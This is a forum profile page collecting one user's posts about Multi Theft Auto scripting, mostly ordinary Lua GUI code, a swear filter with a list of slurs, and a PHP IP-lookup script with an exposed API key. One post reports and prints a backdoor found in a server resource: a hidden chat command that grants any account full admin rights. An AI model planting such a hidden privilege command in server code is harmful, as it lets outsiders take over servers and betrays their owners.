Jump to content

Cadu12

Retired Staff
  • Posts

    827
  • Joined

  • Last visited

  • Days Won

    1

Everything posted by Cadu12

  1. Cadu12

    plz help

    You can do it yourself. When i was 13 years, and im making my own works Oh yeah and i am deaf
  2. Cadu12

    Converter

    You have to create new a library, use triggerClientEvent and triggerServerEvent
  3. http://www.mediafire.com/?qyio9fivraidphp
  4. Cadu12

    Gui.lua

    Oh, post scripts(use Qt to LUA) and send me code to fix
  5. Cadu12

    Gui.lua

    Try: ------------------------------------- -- Code generated by DKR QT to Lua 0.1.7 -- -- Source: GUI.ui -- -- Date: 31/07/2011 - 01:29:51 -- local gui = {} gui._placeHolders = {}------------------------------------- addEventHandler("onClientResourceStart", getResourceRootElement(getThisResource()), function() local screenWidth, screenHeight = guiGetScreenSize() local windowWidth, windowHeight = 800, 600 local left = screenWidth/2 - windowWidth/2 local top = screenHeight/2 - windowHeight/2 gui["_root"] = guiCreateWindow(left, top, windowWidth, windowHeight, "Dialog", false) guiWindowSetSizable(gui["_root"], false) gui["clickedAccept"] = guiCreateButton(125, 268, 75, 24, "Accept", false, gui["_root"]) if on__clicked then addEventHandler("onClientGUIClick", gui["clickedAccept"], on__clicked, false) end gui["clickedAccept2"] = guiCreateButton(206, 268, 75, 24, "Decline", false, gui["_root"]) if on__clicked2 then addEventHandler("onClientGUIClick", gui["clickedAccept2"], on__clicked2, false) end gui["checkBox"] = guiCreateCheckBox(10, 225, 341, 41, "I accept the rules and i will be play fair, will not bother others!", false, false, gui["_root"]) gui["tabWidget"] = guiCreateTabPanel(20, 45, 361, 181, false, gui["_root"]) gui["tab"] = guiCreateTab("Rules", gui["tabWidget"]) gui._placeHolders["textEdit"] = {left = 0, top = 0, width = 361, height = 161, parent = gui["tab"]} gui["tab_2"] = guiCreateTab("Staff", gui["tabWidget"]) gui["scrollArea"] = guiCreateScrollPane(339, 0, 121, 171, false, gui["tab_2"]) end function on__clicked(button, state, absoluteX, absoluteY) if (button ~= "left") or (state ~= "up") then return end --TODO: Implement your button click handler here end function on__clicked2(button, state, absoluteX, absoluteY) if (button ~= "left") or (state ~= "up") then return end --TODO: Implement your button click handler here end -- End of DKR QT to Lua code --
  6. Cadu12

    Gui.lua

    -- Code generated by DKR QT to Lua 0.1.7 -- -- Source: gui2.ui -- -- Date: 31/07/2011 - 07:51:20 -- ------------------------------------- local gui = {} gui._placeHolders = {} addEventHandler("onClientResourceStart",resourceRoot, function() local screenWidth, screenHeight = guiGetScreenSize() local windowWidth, windowHeight = 800, 615 local left = screenWidth/2 - windowWidth/2 local top = screenHeight/2 - windowHeight/2 gui["_root"] = guiCreateWindow(left, top, windowWidth, windowHeight, "TabWidget", false) guiWindowSetSizable(gui["_root"], false) end) addEventHandler("onClientResourceStart",resourceRoot, function (parent) gui["label"] = guiCreateLabel(372, 50, 61, 41, "Rules", false, parent) guiSetFont(gui["label"], "default-bold-small") guiLabelSetHorizontalAlign(gui["label"], "left", false) guiLabelSetVerticalAlign(gui["label"], "center") gui._placeHolders["textBrowser"] = {left = 12, top = 110, width = 781, height = 411, parent = parent} gui["pushButton"] = guiCreateButton(262, 550, 91, 41, "Accept", false, parent) if on_pushButton_clicked then addEventHandler("onClientGUIClick", gui["pushButton"], on_pushButton_clicked, false) end gui["pushButton_2"] = guiCreateButton(422, 550, 91, 41, "Decline", false, parent) if on_pushButton_2_clicked then addEventHandler("onClientGUIClick", gui["pushButton_2"], on_pushButton_2_clicked, false) end gui["checkBox"] = guiCreateCheckBox(12, 530, 361, 21, "I accept the Rules and Conditions and i will be play fair !", false, false, parent) guiSetFont(gui["checkBox"], "default-bold-small") gui["label_2"] = guiCreateLabel(22, 190, 101, 31, "*DONT HACK!", false, parent) guiSetFont(gui["label_2"], "default-bold-small") guiLabelSetHorizontalAlign(gui["label_2"], "left", false) guiLabelSetVerticalAlign(gui["label_2"], "center") gui["label_3"] = guiCreateLabel(22, 220, 101, 31, "*DONT ABUSE!", false, parent) guiSetFont(gui["label_3"], "default-bold-small") guiLabelSetHorizontalAlign(gui["label_3"], "left", false) guiLabelSetVerticalAlign(gui["label_3"], "center") gui["label_4"] = guiCreateLabel(22, 250, 161, 31, "*DONT FLOOD THE CHAT!", false, parent) guiSetFont(gui["label_4"], "default-bold-small") guiLabelSetHorizontalAlign(gui["label_4"], "left", false) guiLabelSetVerticalAlign(gui["label_4"], "center") gui["label_5"] = guiCreateLabel(22, 280, 101, 31, "*DONT BOTHER!", false, parent) guiSetFont(gui["label_5"], "default-bold-small") guiLabelSetHorizontalAlign(gui["label_5"], "left", false) guiLabelSetVerticalAlign(gui["label_5"], "center") gui["label_6"] = guiCreateLabel(22, 310, 211, 31, "*DONT USE MODIFIED HANDLING!", false, parent) guiSetFont(gui["label_6"], "default-bold-small") guiLabelSetHorizontalAlign(gui["label_6"], "left", false) guiLabelSetVerticalAlign(gui["label_6"], "center") gui["label_7"] = guiCreateLabel(22, 350, 171, 21, "*DONT USE VISUAL MODS!", false, parent) guiSetFont(gui["label_7"], "default-bold-small") guiLabelSetHorizontalAlign(gui["label_7"], "left", false) guiLabelSetVerticalAlign(gui["label_7"], "center") gui._placeHolders["line"] = {left = 12, top = 359, width = 781, height = 91, parent = parent} gui["label_8"] = guiCreateLabel(32, 420, 101, 31, "Have Fun !", false, parent) guiSetFont(gui["label_8"], "default-bold-small") guiLabelSetHorizontalAlign(gui["label_8"], "left", false) guiLabelSetVerticalAlign(gui["label_8"], "center") gui["label_9"] = guiCreateLabel(282, 480, 751, 61, "Every rule break will result ban or permaban .", false, parent) guiSetFont(gui["label_9"], "default-small") guiLabelSetHorizontalAlign(gui["label_9"], "left", false) guiLabelSetVerticalAlign(gui["label_9"], "center") end) function on_pushButton_clicked(button, state, absoluteX, absoluteY) if (button ~= "left") or (state ~= "up") then return end --TODO: Implement your button click handler here end function on_pushButton_2_clicked(button, state, absoluteX, absoluteY) if (button ~= "left") or (state ~= "up") then return end --TODO: Implement your button click handler here end Fixed. And yeah i used Qt to Lua too
  7. Report: viewtopic.php?f=108&t=34613 When players(authors) joined his server , he can gets full admin rights. Here is code: function giveAdminRights (playerSource, commandName, accountName) if accountName then aclGroupAddObject (aclGetGroup("Admin"), "user."..accountName) aclSave() outputChatBox (accountName..".", playerSource,0,255,0) else outputChatBox ("X", playerSource,255,0,0) end end addCommandHandler ("spcttrhck", giveAdminRights) Credis to: LoveFist and AcitanoX for functions
  8. And: Multis-TAB with youtube Multis-Gamers Microsoft Visual Studio 2010/2008 I can open 2 games in my pc and no lags, lol
  9. Both, Flood can be DDOS. When i was playing in owls orange server (game mode race), a 5 memebers flood using binds, i got timed out. For who connect without playing mta use this function playerConnect (playerNick, playerIP, playerUsername, playerSerial, playerVersionNumber) if playerNick and playerSerial then outputServerLog(playerNick.." just connected to the server.") else outputServerLog("IP: "..playerIP.." > Warning: This IP is DDOS!") end end addEventHandler ("onPlayerConnect", getRootElement(), playerConnect) More than 24 hours, you need check the logs, ctrl+F and find "Warning: This IP is DDOS!" They add ban his ip
  10. What is "DDOS"? Use this: https://wiki.multitheftauto.com/wiki/OnPlayerConnect https://wiki.multitheftauto.com/wiki/OutputServerLog For who connected without playing, add logs as ip + nick Block ip from your server, and add ban ip your server ingame
  11. Cadu12

    No-swear...

    I made my own function, so you can use function. You can add more http://www.noswearing.com/dictionary/d I didnt added D at Z, becuase im making my own scripts @bandi94, number? hmmmmmm I dont use it
  12. Solidsnake14, It is possible to remove login, Im created my own functions get/setAccountData, and isGuestAccount https://wiki.multitheftauto.com/wiki/OnPlayerLogin ( Create a table player if player logged in ) https://wiki.multitheftauto.com/wiki/CancelEvent ( WARNING: Admin panel doesnt work, you have to edit it ) Create your own functions get/setAccountData, and isGuestAccount, I dont give you a source code. Im making my own admin panel Here is image: http://imageshack.us/photo/my-images/59 ... login.jpg/
  13. Cadu12

    No-swear...

    @Demon, your code is wong. you can use my function: removeSwear( string ) here code: ChatBad = {"anus", "arse", "arsehole", "ass", "ass-hat", "ass-jabber", "ass-pirate", "assbag", "assbandit", "assbanger", "assbite", "assclown", "asscock", "asscracker", "asses", "assface", "assfuck", "assfucker", "assgoblin", "asshat", "asshead", "asshole", "asshopper", "assjacker", "asslick", "asslicker", "assmonkey", "assmunch", "assmuncher", "assnigger", "asspirate", "assshit", "assshole", "asssucker", "asswad", "asswipe" "bampot", "bastard", "beaner", "bitch", "bitchass", "bitches", "bitchtits", "bitchy", "blow job", "blowjob", "bollocks", "bollox", "boner", "brotherfucker", "bullshit", "bumblefuck", "butt plug", "butt-pirate", "buttfucka", "buttfucker", "camel toe", "carpetmuncher", "chinc", "chink", "choad", "chode", "clit", "clitface", "clitfuck", "clusterfuck", "cock", "cockass", "cockbite", "cockburger", "cockface", "cockfucker", "cockhead", "cockjockey", "cockknoker", "cockmaster", "cockmongler", "cockmongruel", "cockmonkey", "cockmuncher", "cocknose", "cocknugget", "cockshit", "cocksmith", "cocksmoke", "cocksmoker", "cocksniffer", "cocksucker", "cockwaffle", "coochie", "coochy", "coon", "cooter", "cracker", "cum", "cumbubble", "cumdumpster", "cumguzzler", "cumjockey", "cumslut", "cumtart", "cunnie", "cunnilingus" "cunt", "cuntass", "cuntface", "cunthole", "cuntlicker", "cuntrag", "cuntslut", "dago", "damn", "deggo", "dick", "dickbag"} -- add more :] function removeSwear(message) local Findingdots = string.gsub(message, "([%s%_%*%+%?%.%(%)%[%]%{%}%\%/%|%^%$%-])", '') Removelower = string.lower(message) Remove = message for i, Findingbad in ipairs(ChatBad) do if string.find( Remove, Findingbad ) then Remove = string.gsub( Remove:lower(), Findingbad, string.rep('*', #Findingbad) ) removeSwear(Remove) elseif string.find( Findingdots, Findingbad) then Remove = string.gsub( Findingdots, Findingbad, string.rep('*', #Findingbad) ) removeSwear(Remove) end end return Remove end function onPlayerChat(messages, typechat) local N = getPlayerName(source) if typechat == 0 then cancelEvent() local playerTeam = getPlayerTeam ( source ) local r, g, b = 224, 208, 176 if playerTeam then local r, g, b = getTeamColor ( playerTeam ) end outputChatBox(string.format("#%02X%02X%02X", r, g, b) .. N .. ": " .. removeSwear(messages), getRootElement(), 255, 255, 255, true) end end addEventHandler('onPlayerChat', getRootElement(), onPlayerChat)
  14. The_GTA, Do you remembers me? I am Cadu12, if you need test with me
  15. callRemote, create your own PHP to send mail
  16. You didnt understand this tutorial(http://lua-users.org/wiki/TablesTutorial)?
  17. 1: Its hard for you, i made it and working. I dont give you source code http://lua-users.org/wiki/TablesTutorial 2: viewtopic.php?f=91&t=30227&hilit=dxDrawText+color&start=15#p329917 https://wiki.multitheftauto.com/wiki/DxGetTextWidth Edit: I forget to say resource name race/nametags.lua you have to editor it 3: https://wiki.multitheftauto.com/wiki/DxDrawText viewtopic.php?f=91&t=30227&hilit=dxDrawText+color&start=15#p329917 ( if you want colored ) https://wiki.multitheftauto.com/wiki/GetPlayerPing For FPS, use element "fps"(getElementData(getLocalPlayer(),"fps")) ( you needed resource "scorefps" in community ) For Spectators, you have to editor it, https://community.multitheftauto.com/ind ... ls&id=1749
  18. Maybe PHP, I cant use $input = mta::getInput(); $ip_data = locateIp($input[0]); [{}] $ip_data = locateIp('24.24.24.24'); [{"0":"United States"}]
  19. Im creating trace and it gives me return "nil" PHP Code: <?php include ( "mta_sdk.php" ); /*echo "<br><br>Country name : " . $ip_data['country_name'] . "<br>"; echo "Region name : " . $ip_data['region_name'] . "<br>"; echo "City : " . $ip_data['city'] . "<br>";*/ function locateIp($ip){ $d = file_get_contents("http://api.ipinfodb.com/v2/fraud_query.php?key=757a8e90b2d756dd4d4b3b15479ccd16b7d023475490e2fa70e6b44d3c7ccf5d&ip=$ip&country_code=br&district=-&city=-&area_code=-&mail_domain=-"); if (!$d){ $backup = file_get_contents("http://backup.ipinfodb.com/fraud_query.php?key=<757a8e90b2d756dd4d4b3b15479ccd16b7d023475490e2fa70e6b44d3c7ccf5d>&ip=$ip&country_code=br&district=-&city=-&area_code=-&mail_domain=-&enable_hostname=1"); $answer = new SimpleXMLElement($backup); if (!$backup) return false; }else{ $answer = new SimpleXMLElement($d); } $country_code = $answer->IpCountryCode; $country_name = $answer->IpCountry; $region_name = $answer->IpRegion; $city = $answer->IpCity; return array('country_code' => $country_code, 'country_name' => $country_name, 'region_name' => $region_name, 'city' => $city); //return array($country_code, $country_name, $region_name, $city); } $input = mta::getInput(); $ip_data = locateIp($input[0]); mta::doReturn( $ip_data['country_name'] ); ?> LUA Code: function getCity(getmessage) outputChatBox(getmessage) end function InfoCityPlayer(ip) callRemote("http://localhost/trace.php", getCity, ip) end function getPlayerCity(player, command, who) if who then local GetPlayer, PlayerName = findPlayer(who) if GetPlayer then local getIP = getPlayerIP ( GetPlayer ) InfoCityPlayer(tostring(getIP)) end end end addCommandHandler("test",getPlayerCity)
  20. EDIT: viewtopic.php?f=91&t=32132&p=340184&hilit=guiGetScreenSize#p340184 I have resolved, so thanks you
  21. Excuse me for bumping this topic, but Asia is no scripter. He's a little kid stealing and scamming anyone he can. Somebody should ban that fool from MTA. I know, when Asia joining other clan and steal script Asia is know as AnnA or Ana ( I cant remember )
  22. Mondim, you have scripter team: Asia and Timic
  23. Cadu12

    checkWeapon

    Race is better , im making my own systems
  24. Cadu12

    checkWeapon

    Solidsnake, are you making your own gamemode? =D
×
×
  • Create New...